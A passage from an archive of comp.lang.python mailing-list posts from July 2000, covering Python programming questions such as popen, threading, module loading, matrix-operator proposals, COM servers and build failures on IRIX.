      cnd at ecn.purdue.edu        |    Engineering Computer Network
     http://triad.dhs.org       |   http://www.ecn.purdue.edu/ECN/
----------------------------------------------------------------------


From MarkH at ActiveState.com  Sun Jul  2 10:47:41 2000
From: MarkH at ActiveState.com (Mark Hammond)
Date: Sun, 02 Jul 2000 14:47:41 GMT
Subject: Traping output from os.system
References: <8jn34q$kpn$1@news.lth.se>
Message-ID: <hCI75.5717$Tb7.31730@news-server.bigpond.net.au>

You want "popen".  For non-windows platforms, "os.popen" is where you can
find it.  For Win32 systems, you need the win32 extensions, and
"win32pipe.popen".
Mark.
--
markh at activestate.com - but if you think I speak for them, you dont know
Dick!

<f98ba at efd.lth.se> wrote in message news:8jn34q$kpn$1 at news.lth.se...
> Hi,
>
> I'm executing a command with os.system and are
> trying to capture the output into a python
> variable. The only I can find to do it in
> at the moment is to redirrect the output
> to a file and the read it. That feels wrong,
> isn't there another simple way??
>
> Thanks,
> Bjorn




From lull at acm.org  Sun Jul 23 16:07:02 2000
From: lull at acm.org (John Lull)
Date: 23 Jul 2000 15:07:02 -0500
Subject: POP3 server in Python?
Message-ID: <7ijmnsc8u9qeg1h8rjbr77k2085kqktgq5@4ax.com>

I find myself in need of a simple POP3 server written in Python.  It
does *not* need to handle multiple clients at one time, and
performance is not an issue.  Anyone know if one's available?

Thanks.

Regards,
John


From tim_one at email.msn.com  Sun Jul  9 01:34:18 2000
From: tim_one at email.msn.com (Tim Peters)
Date: Sun, 9 Jul 2000 01:34:18 -0400
Subject: Splitting c.l.py...
In-Reply-To: <8k7lld$g53$1@nnrp1.deja.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCKENPGIAA.tim_one@email.msn.com>

[Alex <cut_me_out at hotmail.com>]
> Is there a synopsis of the legal woes that befell python somewhere?
> It sounds sort of interesting.

[Jeremy Hylton]
> It's not interesting <0.2 wink>.

And it's even less interesting for me, as (unlike Jeremy) I never worked at
CNRI so have no interest at all in their internal politics.  From my POV, it
looks almost exactly like a divorce, except that besides just arguing over
custody of the children (Python's license makes that pretty much a non-issue
over the long haul), they're also wrangling over who gets the kid's used
clothes, the old security blanket, and the first tooth that fell out.
Separations are painful!  Sometimes messy too.  This is apparently one of
those.  I do believe both sides want Python to thrive, though.

he-said-she-said-he-said-she-said-in-the-end-everyone-will-just-get-
    tired<wink>-ly y'rs  - tim, speaking only for himself





From michael at stroeder.com  Mon Jul 24 03:06:13 2000
From: michael at stroeder.com (Michael =?iso-8859-1?Q?Str=F6der?=)
Date: Mon, 24 Jul 2000 09:06:13 +0200
Subject: how to build ssl on window
References: <8lb9ap$j0n$1@nnrp1.deja.com> <8lc6jk$1f1$1@coco.singnet.com.sg> <8lde5s$vba$1@nnrp1.deja.com> <8leo17$tnt$1@dahlia.singnet.com.sg> <8lg7ft$odv$1@nnrp1.deja.com>
Message-ID: <397BEAE5.3C1E5151@stroeder.com>

ryzam at my-deja.com wrote:
> 
>  ImportError: NO module named M2Crypto

Are you sure that you copied the module directory M2Crypto to your
Python path (e.g. into site-packages/)?

Ciao, Michael.


From stephen_purcell at yahoo.com  Fri Jul 28 02:51:43 2000
From: stephen_purcell at yahoo.com (Steve Purcell)
Date: Fri, 28 Jul 2000 16:51:43 +1000
Subject: best apache+python module?
In-Reply-To: <see-9D8864.22245327072000@news.dnai.com>; from see@message.body on Thu, Jul 27, 2000 at 10:24:53PM -0700
References: <so1jnosf3j1154@corp.supernews.com> <20000728113918.B12152@inkontact.com.au> <see-9D8864.22245327072000@news.dnai.com>
Message-ID: <20000728165143.A15002@inkontact.com.au>

Sam Penrose wrote:
> 
> After having a Bad Experience with [PyApache]
> I must ask why they are so popular. My company writes 
> pure-Python sites whose CGIs handle tens of thousands of hits a day on 
> unremarkable Intel hardware running vanilla Linux.

I agree; plain CGI should always be the starting point, and solutions that
rely on silliness like linking Python into Apache are probably asking for
trouble.

But *if* someone wanted to do such 'hyper-CGI', PCGI seems to be the big hitter.
Not tried it personally, but since Zope + PCGI is a standard pairing, PCGI
presumably has some merit.

-Steve

-- 
Steve Purcell,  Technical Director, Inkontact
Get in touch at http://www.inkontact.com/
Get testing at http://pyunit.sourceforge.net/
"Life must be simple if I can do it" -- Me



From hzhu at localhost.localdomain.bbs  Sat Jul 15 02:00:02 2000
From: hzhu at localhost.localdomain.bbs (hzhu at localhost.localdomain.bbs)
Date: 15 Jul 2000 06:00:02 GMT
Subject: Discussion: Introducing new operators for matrix computation
Message-ID: <3bPMg2$mPw@openbazaar.net>

On Fri, 14 Jul 2000 23:00:14 -0500, Paul Prescod <paul at prescod.net> wrote:

>> The problem is that Python provides no way for an add-on module to
>> define new operators.
>
>But that's not really an accident. There are languages that allow you to
>define new operators. REBOL is the most flexible example. Python
>emphasizes syntactic *simplicity*.

Well, I think there are two levels of syntactic simplicity:

1. Different structures: like the difference among identifiers, various
   literals (number, list, dict, string), indentation delimited blocks,
   function arguments.

2. Allowed members within a structure: like which function names are legal,
   which operators are binary, which functions can be overloaded.

To keep the first kind of simplicity we need to restrict number of things
allowed. But to keep simplicity of the second kind we need to remove
arbitrary restrictions.

For example, I had included a file aux.py in the MatPy package which caused
a great deal of headache for Windows users.  It turned out that Windows do
not allow file name to be aux because it's a device name.  This kind of
unreadonable restrictions represent complexity, not simplicity.

Python already provides both function names and binary operators, so the
first level issue is not there.  However, while it gives almost unlimited
supply of function names that can be overridden, there is only a handful of
binary operators which have deep rooted meanings and not enough for
overloading. This limit is largely arbitrary, and is therefore complexity.

>> Unfortunately, the current lack of appropriate notation makes these
>> problems very difficult to code clearly.
>
>Every domain of computing would be enhanced with special notation. Text
>processing, XML, COM, databases, Web programming etc.

Haven't we already talked this through?  Text processing already got its
special syntax, even of the first level, which is quoted string.  Within a
quoted string you could put in any text sequence.  In this specific domain
it happens that only very limited number of binary operators are required,
and they are duly provided, like string + string, string % string, or string
* number.  All the other things you mentioned could be built on top of this.
This domain is not even as mature as matrix computation - in many earlier
languages it was though that special syntax is needed for printing, formats
and regular expressions, which turned out to be just ordinary string
operations and functions, as python shows.

On the other hand, for proper matrix operation, there is not much need for
any additional first level structure, but there does exist a great need for
a larger supply of binary operators.  What we are saying is that extending
the number of operators overridable by applications represents a much
smaller risk of incompatability than giving everyone a complete parser.
With the given operators, all the fields like scientific computation,
graphics, statistical analysis and artificial intelligence could also be
built on top of this.

Before you dismiss numerical computation as just another domain, why not try
a few packages and get a feeling of how large the domain is?


Huaiyu


From hgg9140 at seanet.com  Sun Jul 23 18:42:21 2000
From: hgg9140 at seanet.com (Harry George)
Date: 23 Jul 2000 15:42:21 -0700
Subject: 5.2.1 fails 5 tests: SGI Indigo-2 IRIX 6.2 gcc -O2
References: <3978D151.8208C03B@ids.net>
Message-ID: <m33dl0mpte.fsf@wilma.george.org>

I can't speak to those particular errors, but can give some related
data points:

I had python 1.5.2, numpy, and PyXML compiled via gcc 2.95.2 under
irix 6.5 but was never able to get it visible to irix 6.2.  So I fully
recompiled using sgi's own cc, and can now run on either 6.2 or 6.5.

[I had built the gcc from sources, instead of using the "freeware"
install mechanism.]

Eben Oldmixon <eben at ids.net> writes:

> Can somebody comment on these failures from the Python 5.2.1
> distribution test suite?  I found mention of an error from test_re under
> SunOS in the Deja News archives, nothing from python's test_long, and
> didn't look further.  Are these likely to turn and bite?  I installed
> anyway.  I particularly like the non-overflowing of maxint+1, although
> '+-1' (!) is a close second.
> 
> #file: error_msgs
> 
> #errors from build of Python 5.2.1 on SGI Indigo-2 under IRIX 6.2
> # using gcc -O2
> # errors from:
> #	test_grammar
> #	test_builtin
> #	test_types
> #	test_long
> #	test_re
> 
> 
> python test_grammar.py
> 1. Parser
> 1.1 Tokens
> 1.1.1 Backslashes
> 1.1.2 Numeric literals
> 1.1.2.1 Plain integers
> Traceback (innermost last):
>   File "test_grammar.py", line 44, in ?
>     elif eval('maxint == 9223372036854775807'):
> OverflowError: integer literal too large
>  error_msgs
> Traceback (innermost last):
>   File "test_re.py", line 63, in ?
>     raise TestFailed, "re.sub"
> test_support -- test failed: re.sub
> 
> 
> 
> 4. Built-in functions
> test_b1
> __import__
> abs
> apply
> callable
> chr
> cmp
> coerce
> compile
> complex
> delattr
> dir
> divmod
> eval
> execfile
> filter
> float
> getattr
> hasattr
> hash
> hex
> id
> int
> Traceback (innermost last):
>   File "test_builtin.py", line 9, in ?
>     impo6. Built-in types
> 6.1 Truth value testing
> 6.2 Boolean operations
> 6.3 Comparisons
> 6.4 Numeric types (mostly conversions)
> 6.4.1 32-bit integers
> 6.4.2 Long integers
> Traceback (innermost last):
>   File "test_types.py", line 85, in ?
>     else:raise TestFailed, 'long op'
> test_support -- test failed: long op
> rt test_b1
>   File "test_b1.py", line 287, in ?
>     raise TestFailed, "int(%s) raised ValueError: %s" % (`ss`, e)
> test_support -- test failed: int('+-1') raised ValueError: invalid
> literal for int(): +-1
> 
> 
> 
> 6. Built-in types
> 6.1 Truth value testing
> 6.2 Boolean operations
> 6.3 Comparisons
> 6.4 Numeric types (mostly conversions)
> 6.4.1 32-bit integers
> 6.4.2 Long integers
> Traceback (innermost last):
>   File "test_types.py", line 85, in ?
>     else:raise TestFailed, 'long op'
> test_support -- test failed: long op
> 
> 
> 
> python test_long.py
> long / * % divmod
> long bit-operation identities
> long str/hex/oct/atol
> long miscellaneous operations
> Traceback (innermost last):
>   File "test_long.py", line 251, in ?
>     test_misc()
>   File "test_long.py", line 235, in test_misc
>     raise TestFailed, "int(long(sys.maxint) + 1) didn't overflow"
> test_support -- test failed: int(long(sys.maxint) + 1) didn't overflow
> 
> 
> 
> 
> Running tests on re.search and re.match
> Running tests on re.sub
> Traceback (innermost last):
>   File "test_re.py", line 63, in ?
>     raise TestFailed, "re.sub"
> test_support -- test failed: re.sub

-- 
Harry George
hgg9140 at seanet.com


From nospam4methx at hotmail.com  Thu Jul 27 23:09:04 2000
From: nospam4methx at hotmail.com (RC)
Date: Fri, 28 Jul 2000 03:09:04 GMT
Subject: Unary Operators
Message-ID: <3980F944.19EBFF7C@hotmail.com>

Are there any unary operators (^, |, etc...) in Python such as in
Verilog HDL?


From root at rainerdeyke.com  Tue Jul 25 12:38:33 2000
From: root at rainerdeyke.com (Rainer Deyke)
Date: Tue, 25 Jul 2000 16:38:33 GMT
Subject: Python is wierd!
References: <8lj7kr$ttc$1@nnrp1.deja.com>
Message-ID: <dojf5.45539$6y5.29151500@news2.rdc2.tx.home.com>

"Jonathan" <theebh at yahoo.com> wrote in message
news:8lj7kr$ttc$1 at nnrp1.deja.com...
> Hi, just finished going through the 'Learning Python' book, and the
> feeling that i get is that Python is really wierd(compared to other
> conventional languages like C++, Java, etc). For e.g.(correct me if i'm
> wrong)
>
> 1. There are no keywords to declare static or instance variables; it
> all depends where they are placed(whether it's right after the <class>
> statement, or inside a <def>). Isn't it harder for other programmers to
> know at one glance what type of attributes the class define?
>
> 2. No *formal* declaration of static class methods, e.g. no 'static'
> keyword (though i'm not sure how useful static methods are in OOP
> design). I read somewhere in this newsgroup that the workaround way is
> to define the method outside of the class - doesn't it break
> the 'encapsulation' a class suppose to have?

Static variables and methods are a mess anyway.  In Python, there is no need
for them - just place the variables and functions outside the class.  In
Java, they are a (poor) substitite for placing things outside the class.  In
C++, static class members are sometimes useful for access control and
templates, both of which have no place in Python.

> 3. No keywords to differentiate between passing arguments by reference
> or value! An integer is passed by value(reference to a new copy), while
> a mutable object is by reference. To pass a list by 'value', i know you
> just need to insert one more line(list = [:]), but it seems
> so 'inconsistent' compared to Java or even PHP.

In Python, all arguments, including integers, are passed by reference.
Always.


--
Rainer Deyke (root at rainerdeyke.com)
Shareware action/role-playing games      -      http://rainerdeyke.com
"In ihren Reihen zu stehen heisst unter Feinden zu kaempfen" - Abigor




From robin at jessikat.fsnet.co.uk  Wed Jul 19 11:38:47 2000
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Wed, 19 Jul 2000 16:38:47 +0100
Subject: CVS missing xmlparse.h
References: <yMet0XA6nYd5EwSD@jessikat.fsnet.co.uk>
 <3975BA62.91AE3D0@prescod.net>
Message-ID: <5YhvBcAHucd5Ewz$@jessikat.fsnet.co.uk>

In article <3975BA62.91AE3D0 at prescod.net>, Paul Prescod
<paul at prescod.net> writes
>You need Expat.
>
>http://www.jclark.com/xml/expat.html
>
>Robin Becker wrote:
>> 
>> pyexpat.c(18) : fatal error C1083: Cannot open include file:
>> 'xmlparse.h'
>> --
>> Robin Becker
>> --
>> http://www.python.org/mailman/listinfo/python-list
>
so the core will include the module source, but not a needed .h file;
the python-xml kit used to include all; do I need pyexpat.pyd? Probably
not.
-- 
Robin Becker


From no at bo.dy  Mon Jul 24 08:45:43 2000
From: no at bo.dy (nobody)
Date: Mon, 24 Jul 2000 07:45:43 -0500
Subject: iterating over lines in a file
References: <Uvqd5.21615$DZ4.69024@news.corecomm.net> <hMrd5.49275$e6.2860918@pouncer.easynews.com> <8l73an01lgb@news2.newsguy.com> <vnLd5.27741$r9.839310@news.easynews.com> <DSOd5.25099$DZ4.83839@news.corecomm.net> <slrn8nhj0s.jr0.cjc26@synecdoche.sowrong.org> <jlie5.28024$DZ4.107957@news.corecomm.net> <uhf9g4eam.fsf@ctwd0143.fitlinxx.com>
Message-ID: <%TVe5.12$o45.2102@news.corecomm.net>

David Bolen <db3l at fitlinxx.com>, in <uhf9g4eam.fsf at ctwd0143.fitlinxx.com>:

[many thanksworthy things snipped - thanks!]

> Just to note too - you mention reading "raw lines" - that's sort of
> oxymoronic, since by definition "lines" have format information (end of
> line markers that differ by platform) that have to be processed, and
> thus you aren't really reading anything "raw" :-)

i wasn't really thinking about that, but now that you mention it, you're
right about that. i'm not just new to python, i'm fairly new to programming
in general, and i don't always have the philosophical insights the right
way around yet. they're the hardest, and most important, part to get.

> Oh BTW, if you really just wanted a file copy, then yes, you could also
> use the higher level copy() method in the shutil module.

what i was actually trying to do was a prepend-this-string-to-that-file
routine, and i think i got it. the straight translation from perl got
really, really long due to all the try-except pairs; i like exceptions
better than perl's "do {} or die" idiom as they're clearer and seem more
flexible, but they're sure more verbose, too.



From kpmurphy at my-deja.com  Mon Jul 17 14:58:17 2000
From: kpmurphy at my-deja.com (Keith Murphy)
Date: Mon, 17 Jul 2000 18:58:17 GMT
Subject: grid
Message-ID: <8kvkvt$68h$1@nnrp1.deja.com>

can you embed grids?  ...what i'd like to do is grid within several
frames, and then grid the frames together.  sort of like html tables...
i hate pack.

-->keith


Sent via Deja.com http://www.deja.com/
Before you buy.


From chrisw at nipltd.com  Mon Jul 10 06:58:24 2000
From: chrisw at nipltd.com (Chris Withers)
Date: Mon, 10 Jul 2000 11:58:24 +0100
Subject: [Python-Help] imp.load_module from a string
References: <39672E50.B83A4C81@nipltd.com> <200007081846.UAA04878@pandora.informatik.hu-berlin.de>
Message-ID: <3969AC50.98F36FF4@nipltd.com>

Thanks for the help so far :-)

Okay, another question: What is the difference between the contents of a
.pyc file and what is returned by compile(str,'notafile','exec')?

Martin von Loewis wrote:
> This is tricky. I believe the only way to load a module from a string
> is by marshal.loads, which requires you to skip the magic first. In
> turn, this will give you a code object which you'll need to execute in
> a newly-created module's dictionary.

Hmm, plan B was to execute a compile(...) on the server using the source
code and ship a pickle of the result to the client. On the client, take
this codeobject and execute it into a module:

module = imp.new_module('MyModule')
sys.modules['MyModule'] = module
exec codepbject in vars(module)

Would this work? How efficient is it?

More hassles... ;-)

The idea is for the client to cache different versions of modules for
use when processing different jobs.

say module1 is created with:
module1 = imp.new_module('MyModule')
exec code1 in vars(module1)

...and module2 is created with:
module2 = imp.new_module('MyModule')
exec code2 in vars(module2)

...can I just swap them as follows?:
sys.modules['MyModule'] = module1
...create and use objects from MyModule...
sys.modules['MyModule'] = module2
...create and use objects from MyModule, hopefully using new code?...
...what happens to objects created from old MyModule code?...

More confusingly, what happens to objects created from classes in
MyModule that exist before and after swapping the module in sys.modules?

Head hurtingly yours,

Chris



From alex at magenta.com  Wed Jul  5 07:14:41 2000
From: alex at magenta.com (Alex Martelli)
Date: Wed, 5 Jul 2000 13:14:41 +0200
Subject: Singleton COM local/remote server?
References: <7bd5msssk48km280t9bvds4i3v6hs7r8or@4ax.com>
Message-ID: <8jvad40s00@news1.newsguy.com>

John Lull <lull at acm.org> wrote in message
news:7bd5msssk48km280t9bvds4i3v6hs7r8or at 4ax.com...
> I'm prototyping a DCOM server in Python.  The server coordinates
    [snip]
> Since each port can belong to at most one server, I cannot have
> multiple servers on the same machine.  I can't figure out how to
> ensure there is only *one* copy of the server started, regardless of
> how many clients want to use it.
>
> Any samples, pointers to documentation, key phrases to search MSDN
> for, etc. would be *greatly* appreciated.

I'm not sure how this translates to Python's implementation
of COM, but, at a lower abstraction level, this is exactly
what is accomplished by passing the REGCLS_MULTIPLEUSE value
as the "flags" parameter in the CoRegisterClassObject calls
that an .EXE does, at startup, to let the Service Control
Manager of COM know about its class-objects (IClassFactory
instances).

When such a call is made, and, later, another instance of
the object is required, the SCM won't start another process,
but rather re-use the class-factory it knows is already
active (and which, it has been informed, is OK for multiple
use).  You can take further precautions to check that this
is indeed working as designed, but they should not be needed.

Now, there remains the issue of, how to control the flags
used on CoRegisterClassObject by pythonw.exe...?  I can't
find it in the docs (which doesn't mean it isn't there...
it just says I can't find it).  Maybe we need to look at
the sources...?


Alex





From lull at acm.org  Thu Jul 20 22:26:03 2000
From: lull at acm.org (John Lull)
Date: 20 Jul 2000 21:26:03 -0500
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com> <39772612.CE635178@fft.be> <8l7c80$mlc$1@tomm.stsci.edu> <Pine.LNX.4.10.10007201256340.17820-100000@us2.mayo.edu> <8l7qol$91u$1@la-mail4.digilink.net>
Message-ID: <epcfnsojt19j3lug6iin0ivkoi3j6hpseq@4ax.com>

"Pete Shinners" <pete at visionart.com> wrote (with possible deletions):

> but while we're at it, i would hope that we don't overlook the
> potential of elementwise assignment operators. sometimes those
> matrices can get rather large, and rather than create a new
> temporary matrix for every operation, it would be nice to have
> it done "in place"
> 
> MatrixA (*)= MatrixB
> MatrixA (.)= MatrixB

For all the other augmented assignment operators,
   A op= B
is precisely equivalent to
   A = A op B

If * is elementwise multiplication then *= should naturally be the
corresponsing elementwise operator, and
   A (*)= B
should be precisely equivalent to
   A = A (*) B

Anything else means these operators are different from standard
operators -- and that leads to confusion.

Regards,
John


From aahz at netcom.com  Sat Jul 15 00:15:45 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 15 Jul 2000 04:15:45 GMT
Subject: using threading module
References: <396fd2ff.3598724@news.prodigy.net> <8kokjv$tjf$1@slb7.atl.mindspring.net> <396fd7fe.4877753@news.prodigy.net>
Message-ID: <8koohh$khb$1@slb6.atl.mindspring.net>

In article <396fd7fe.4877753 at news.prodigy.net>,
Victor Muslin <victor at prodigy.net> wrote:
>
>Ok, that worked. What gives? The documentation does not make this clear.

The documentation specifically says "tuple".  What makes a chunk of data
a tuple is not the parentheses (which are used for grouping), but the
comma.  This is a tuple:

'foo',

This is not a tuple:

('foo')


In any event, I think you'll probably find life with threads easier if
you subclass Thread rather than passing in a function.  This becomes
particularly important when you want to associate data with each thread.
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

"Let's go home and turn on MTV.  I want to watch some Pop-Up Videos."
"Pop-Up Videos is not on MTV, it's on VH-1."
"'MTV' is a generic."


From yartz at imaginet.fr  Sun Jul 16 08:03:43 2000
From: yartz at imaginet.fr (Yann Schwartz)
Date: Sun, 16 Jul 2000 14:03:43 +0200
Subject: Pythonwin: problem with syntax highlighting
Message-ID: <32966860B9270DBB.82F799B3E78DDCD7.9E33DCD378F53BB0@lp.airnews.net>

First of all, hi.

I've been fiddling with Python for two weeks and it's getting better
and better. I'm starting to fall in love with the language.

There's just one irritating thing, not with the language itself, but
with the pythonwin editor. I havn't managed to make autocompleting and
syntax highlighting to work. I've checked and unchecked the options in
the GUI, but it didn't change a thing. I've looked into the registry
to see if a component had'nt been registered properly during setup but
I didn't see anything wrong.

What could prevent my machine from displaying online help ?




From ge at nowhere.none  Fri Jul 21 12:37:22 2000
From: ge at nowhere.none (Grant Edwards)
Date: Fri, 21 Jul 2000 16:37:22 GMT
Subject: Trouble when overloading operator[ ]
References: <8l720o$lr4$1@nnrp1.deja.com> <8l76hm$pm9$1@nnrp1.deja.com> <LBGd5.1837$6E.377728@ptah.visi.com> <8l9qfp$gc6$1@nnrp1.deja.com>
Message-ID: <6%_d5.1964$6E.417529@ptah.visi.com>

In article <8l9qfp$gc6$1 at nnrp1.deja.com>, david_ullrich at my-deja.com wrote:

>> You're using a single index whose value is the expression 2,3.
>> The expression 2,3 evaluates to a tuple, which is passed to
>> _getitem__, just as would the value of any other expression
>> used as an index.
>
>  Ok, then I should revise what I said: You can use the
>notation [2,3] to accomplish the same thing.
>
>  No doubt you're exactly right. But evidently there's a
>difference between [] indices and function parameters here:
>
>def hmm(x):
>	return x
>
>print hmm(2,3)
>
>gives an error (hence my suspicion that someone might
>expect whatever[2,3] to give an error without trying it...)
>
>  Why is "2,3" a single expression in whatever[2,3]
>but not in hmm(2,3)?

Because that's the way the language syntax is defined.  :)

The syntax for a function call includes the commas separating
the parameters.  The syntax for an index doesn't include any
commas, so the commas are part of an expression yeilding a
tuple.  It would be a bit more obvious if one used foo[(4,5)].

A comma may be one of (three things (at least)):

 1) token seperating function arguments
 2) token seperating literal list items
 3) tuple construction operator

Deciding which function is being performed by a particular
comma requires you to look at the context.  There are several
special contexts -- if none of them is in effect, then a comma
is a tuple constructor operator.   There is a shortage of
delimiters and operators, so '(' has three usages...

            Function call:  foo(3)
              Empty tuple:  ()
      Expression grouping:  (4+4)*5

'[' has two usages...

                 Indexing:   foo[4]
  Literal list delimiters:   [4,5,9]
         
',' has three usages...

       Tuple construction:   4,5,6
           List seperator:   [4,5,6]
      Parameter seperator:   foo(4,5,6)

The last example is potentially ambiguous, since it could be
either a single parameter whose value is the expression 4,5,6
or it could be three seperate parameters.  Python syntax is
defined such that it is the latter.  If you want the former,
you've got to add parens (in their expression grouping mode):

   foo((4,5,6))

The triple-overloading of commas and parenthesis is
unfortunate, but as the matrix users will attest, there is a
dire shortage of operators and delimiters in the 7-bit ASCII
character set.

I vote we switch to the APL character set...

-- 
Grant Edwards                   grante             Yow!  Now I am depressed...
                                  at               
                               visi.com            


From rloisel at helicon.net  Sun Jul 23 20:30:18 2000
From: rloisel at helicon.net (Rodney Loisel)
Date: Sun, 23 Jul 2000 20:30:18 -0400
Subject: IDLE window disappears - more info
References: <397A3EEA.792BDDEB@helicon.net> <1use5.617$Gh.13635@news20.bellglobal.com> <397AFD92.7F17FFD1@helicon.net> <397B0D93.6A5EE7CB@helicon.net> <rcIe5.9147$Gh.74143@news20.bellglobal.com>
Message-ID: <397B8E19.273116A@helicon.net>

The path in the error message appears to be correct..
rloisel
Olivier Dagenais wrote:

> The Python binary might be in your path, but maybe the libraries aren't?
>
> --
> ----------------------------------------------------------------------
> Olivier A. Dagenais - Carleton University - Computer Science III
>
> "Rodney Loisel" <rloisel at helicon.net> wrote in message
> news:397B0D93.6A5EE7CB at helicon.net...
> > Changed the DOS properties not to close on exit
> > the following is the result of
> > import Tkinter
> > several levels of error
> > last:
> > DLL load failed: one of the library files
> > needed to run this application cannot be
> > found.
> > rloisel
> >



From fw at deneb.enyo.de  Sun Jul  9 06:33:58 2000
From: fw at deneb.enyo.de (Florian Weimer)
Date: 09 Jul 2000 12:33:58 +0200
Subject: ISO Latin -> HTML conversion
References: <8k4r6p$p1v$1@thrud.anatomy.usyd.edu.au> <NhJ95.32962$HL2.534327@afrodite.telenet-ops.be> <8k8q17$rov$1@thrud.anatomy.usyd.edu.au>
Message-ID: <87sntjpp7t.fsf@deneb.enyo.de>

danny at thrud.anatomy.usyd.edu.au (Danny Yee) writes:

> >Just reverse the dictionnary, to be found in htmlentitydefs.
> 
> Where do I find this?

Have you tried "import htmlentitydefs"?

SCNR.


From fred at niwot.scd.ucar.edu  Tue Jul 11 20:00:28 2000
From: fred at niwot.scd.ucar.edu (Fred Clare)
Date: 12 Jul 2000 00:00:28 GMT
Subject: importing shared library on SGI
Message-ID: <8kgces$c1j$1@ncar.ucar.edu>

I am running python on an SGI IRIX 6.5 system.  I
have created a shared library (adder.so) that implements 
a C extension and when I do an import in Python I get the error:

   ImportError: 3907647:python: rld: Fatal Error: Cannot 
   Successfully map soname './adder.so' under any of the 
   filenames ./adder.so

When I do exactly the same thing on a Sun, it works fine.

Any ideas?

-- 
Fred Clare
fred at ucar.edu


From skip at mojam.com  Sun Jul  9 19:40:27 2000
From: skip at mojam.com (Skip Montanaro)
Date: Sun, 9 Jul 2000 18:40:27 -0500 (CDT)
Subject: Run Python as separate process with Apache?
In-Reply-To: <MPG.13d2b8edd0e53f1598981d@news.onlynews.com>
References: <MPG.13d2b8edd0e53f1598981d@news.onlynews.com>
Message-ID: <14697.3435.929500.668699@beluga.mojam.com>

    Randall> So I am wondering whether there is a way with Python and Apache
    Randall> to:

    Randall> 1) Have a persistent Python process that processes http
    Randall>    requests.

Yup, Medusa, Zope, the ZServer part of Zope (which is a lightly touched up
Medusa), or something based on the HTTPServer class in the Python core
should do the trick.  I use ZServer listening on 127.0.0.2 at port 9673 and
have Apache running on the same machine with proxy support.  It then proxies
to the server only those things I want the ZServer to see.

    Randall> 2) Have that persistent process manage a database connection
    Randall>    pool.

My ZServer then talks to a MySQL database using the MySQLdb module.  If you
want SQL connection capability I suspect you'll find Zope is much closer to
a complete solution.

    Randall> 3) Have that persistent process hand out new session ids for
    Randall>    new users, time them out automatically and all the other
    Randall> 	session management that servlet containers do for you.

Then I think you probably really want Zope.  There are tons of contributed
Zope products available.  There's bound to be one that will do session id
management. 

-- 
Skip Montanaro, skip at mojam.com, http://www.mojam.com/, http://www.musi-cal.com/
"To get what you want you must commit yourself for sometime" - fortune cookie



From paul at prescod.net  Wed Jul 19 20:27:28 2000
From: paul at prescod.net (Paul Prescod)
Date: Wed, 19 Jul 2000 19:27:28 -0500
Subject: CDDB
References: <3976402D.9B957E2F@uniserve.com>
Message-ID: <39764770.5D6BDE72@prescod.net>

Bob van der Poel wrote:
> 
> Has anyone converted the cddb code which calulates the cddb id and track
> timing for a cd from C to python? Looks like it should be possible
> without too much work...I was going to try this myself, but figured I'd
> ask before I started...

Here are more specific sites:

http://csl.cse.ucsc.edu/~ben/python/
http://home.clear.net.nz/pages/c.evans/sw/cd/

-- 
 Paul Prescod - Not encumbered by corporate consensus
"Hardly anything more unwelcome can befall a scientific writer than 
having the foundations of his edifice shaken after the work is 
finished.  I have been placed in this position by a letter from 
Mr. Bertrand Russell..." 
 - Frege, Appendix of Basic Laws of Arithmetic (of Russell's Paradox)



From boncelet at eecis.udel.edu  Mon Jul 17 16:03:20 2000
From: boncelet at eecis.udel.edu (Charles Boncelet)
Date: Mon, 17 Jul 2000 16:03:20 -0400
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for  
 matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735013.1AE68176@roguewave.com> <slrn8n6l4p.qp.hzhu@rocket.knowledgetrack.com> <39735D6E.8E3349D9@roguewave.com>
Message-ID: <39736688.E19DD546@eecis.udel.edu>

Bjorn Pettersen wrote:

> On the contrary. The argument is something like the following:
> 
>  - Python is a general purpose language, and as such it can't
>    support special case syntax for Matrix/cgi/xml/db programming.
>    (special syntax has previously been requested for both cgi and
>    db programming).

Not trying to be argumentative, but why not?  Why not allow an
additional, overloadable, operator?

>  - The proposal is to add a handful of operators that would only
>    have meaning in this one domain.
>    - the criteria for addition to the core is something that is
>      generally useful for a large segment of the community.
>      (and it's your job to convince us of it, not ours to
>      convince you that it isn't -- many more people would like
>      to see Stackless in the core, but that's not going to happen
>      anytime soon either...)

I'd love to see stackless and += added.

>    - that many problems can be reduced to matrix operations is
>      a non-argument, since the same is true of functional/
>      procedural/oo/predicate programming.

I agree, but there is a big userbase waiting for an alternative
to the $$ Matlab.

>  - There are allready ways of performing the required tasks in
>    Python, so there is no absolute need to add this to the core.

The same can be said of any simplification.  There is no need for
it, but adding it may make life a lot easier.

>  - Other straight forward solutions has been proposed including
>    list comprehensions and Moshe Zadka's elementwise class
>    approach.

This I must object to.  Linear algebra often involves big objects. 
These operations want to call a carefully written C function.  Any
time you use Python to loop over matrix objects, you are dead in
a big problem.  As far as I understand (and I could be wrong) 
neither list comprehensions nor the elementwise approach would be
able to call the underlying C functions without python loops.
> 
> > On the other hand, alternative arguments based on analysis of functionality,
> > overall design, history of evolution and possible future extension, etc,
> > would carry some real persuasive weight.
> 
> If you really want to convince people, I would like to see examples of
> how adding these operators would make working in other domains easier
> (directly, not through translation through linear algebra).

This may be Hauiyu's argument, but it is not mine.  I'll let the
people working in other domains to give the examples for their
domains.  My argument is that there is a very large potential user
group Python could address if it were improved slightly (for that
domain.)

-- 
Charles Boncelet                              302-831-8008
Dept of Electrical and Computer Engineering   302-831-4316 (fax)
University of Delaware                        boncelet at eecis.udel.edu
http://www.eecis.udel.edu/~boncelet/


From jerome.vacher at tts.thomson-csf.com  Tue Jul 11 12:37:00 2000
From: jerome.vacher at tts.thomson-csf.com (Jerome Vacher)
Date: Tue, 11 Jul 2000 16:37:00 GMT
Subject: checking the existence of a fiel
References: <WaHa5.175$T23.3601@m2newsread.uni2.es>
